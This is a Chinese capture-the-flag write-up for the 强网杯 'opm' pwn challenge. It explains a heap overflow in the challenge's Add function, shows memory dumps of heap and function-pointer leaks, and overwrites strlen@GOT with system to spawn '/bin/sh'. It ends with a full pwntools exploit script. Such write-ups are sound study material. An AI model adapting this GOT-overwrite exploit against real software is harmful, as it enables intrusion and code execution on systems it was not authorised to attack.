这篇
WP
是强网杯过去了很久之后才出的, 参考的是极目楚天舒师傅的博客, 这位师傅是一位CTF老赛手
, 最近复出.由于图片中不能CTRL+F
出文字, 本文章尽量避免使用图片, 除非必要.
1. menu
You were invited to beat one punch man!
(A)dd a new role
(S)how all roles
(E)xit
2. Add
A
Your name:
Bill
N punch?
128
said he can kill the boss with 80 punches
3. Show
said he can kill the boss with 80 punches
You were invited to beat one punch man!
4. Exit
E(退出)
0.结构体
struct node{
char (*print)(struct node n) ; //函数指针
char* name;
int name_number;
int punch;
};
2. 分析
这道题没有用到什么高深的堆分配和释放的知识, 就一个词溢出.
IDA F5
之后, 发现Add
过程存在一个溢出漏洞,s
的下一个位置就是与node
结构体相关的地址.
3. 总体思路
泄露堆地址, 泄露
got
地址, 泄露strlen
真实地址, 修改got表
中strlen
项内容为system
, 发送/bin/sh\x00
.
1. leak heap
add("A"*0x70, 9)
add("B"*0x80 + "\xf0", 9) #修改
'''
0x7ffff7fcd700: 0x0000000000000000 0x0000000000000000
0x7ffff7fcd710: 0x000055c56a558cd0(正确地址)
修改之后
0x7ffff7fcd700: 0x4242424242424242 0x4242424242424242
0x7ffff7fcd710: 0x000055c56a5500f0(一块可写区域)
...... 程序将一些信息写入此处
0x55c56a5500f0: 0x0000000000000000 0x000055c56a558d00 <--
0x55c56a550100: 0x0000000000000081 0x0000000000000009 |
''' |
add("C"*0x80, "D"*0x80 + "\xf0") #leak |
''' |
修改 |
0x7ffff7fcd700: 0x4343434343434343 0x4343434343434343 |
0x7ffff7fcd710: 0x000055c56a558d00 --> 'C'*0x80造成 |
|
程序将新malloc的地址写入0x55c56a558d00 |
0x55c56a558d00: 0x4242424242424242 0x000055c56a558dc0 |
0x55c56a558d10: 0x0000000000000080 0x4242424242424242 |
|
打印("D"*0x80 + "\xf0"), 此时的0x55c56a5500f0还是 --------
'''
结论: 泄露地址无非就是将地址放入可输入的部分, 然后执行输出函数.
2. leak function
add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
'''
"d" *0x18 + p64(heap + 0x90) 如下效果
0x7ffff7fcd690: 0x6464646464646464 0x6464646464646464
0x7ffff7fcd6a0: 0x6464646464646464 0x000055c56a558e50 ---
...... |-----> 二者必须相同
0x7ffff7fcd700: 0x4444444444444444 0x4444444444444444 |
0x7ffff7fcd710: 0x000055c56a558e50 ----------------------
'''
#'131425' + "F"*0x7a + p64(heap + 0xd0) 如下效果
结论: 131425
是为了防止top chunk
被赋值为0.
3. leak strlen address
add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))
小结: 理解了上一步leak function
, 这一步原理同上.
4. modify strlen@got
add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))
小结: 看似程序中没有写入功能, 实际上是存在写入的功能的. 就是punch
大小的读入, 我们可以写入system
真实地址的后四个字节,前几个字节都一样, 而且我们也只能写入四个字节.
from pwn import *
p = process("./opm")
elf = ELF("./opm")
libc = ELF("./opm")
context.log_level = 'debug'
def add(name, number):
p.recvuntil("(E)xit\n")
p.sendline("A")
p.recvuntil("Your name:\n")
p.sendline(name)
p.recvuntil("N punch?\n")
p.sendline(str(number))
def show():
p.recvuntil("(E)xit\n")
p.sendline("S")
def quit():
p.recvuntil("(E)xit\n")
p.sendline("E")
#part one: leak heap
add("A"*0x70, 9)
gdb.attach(p)
add("B"*0x80 + "\xf0", 9)
add("C"*0x80, "D"*0x80 + "\xf0")
heap = u64(p.recv(15)[9:].ljust(8, "\x00"))
log.info("heap: %s" % hex(heap))
#part two: leak function ptr
add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
func_ptr = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("function_ptr: %s" % hex(func_ptr))
#part three: leak strlen real address
base = func_ptr - 0xb30
strlen_got = base + elf.got['strlen']
gdb.attach(p)
add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))
strlen = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("real strlen: %s" % hex(strlen))
#part four: modify strlen got
system_addr = strlen - 0x46390
log.info("system: %s" % hex(system_addr))
gdb.attach(p)
add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))
add("/bin/sh\x00", 8)
p.interactive()
极目楚天舒
文件下载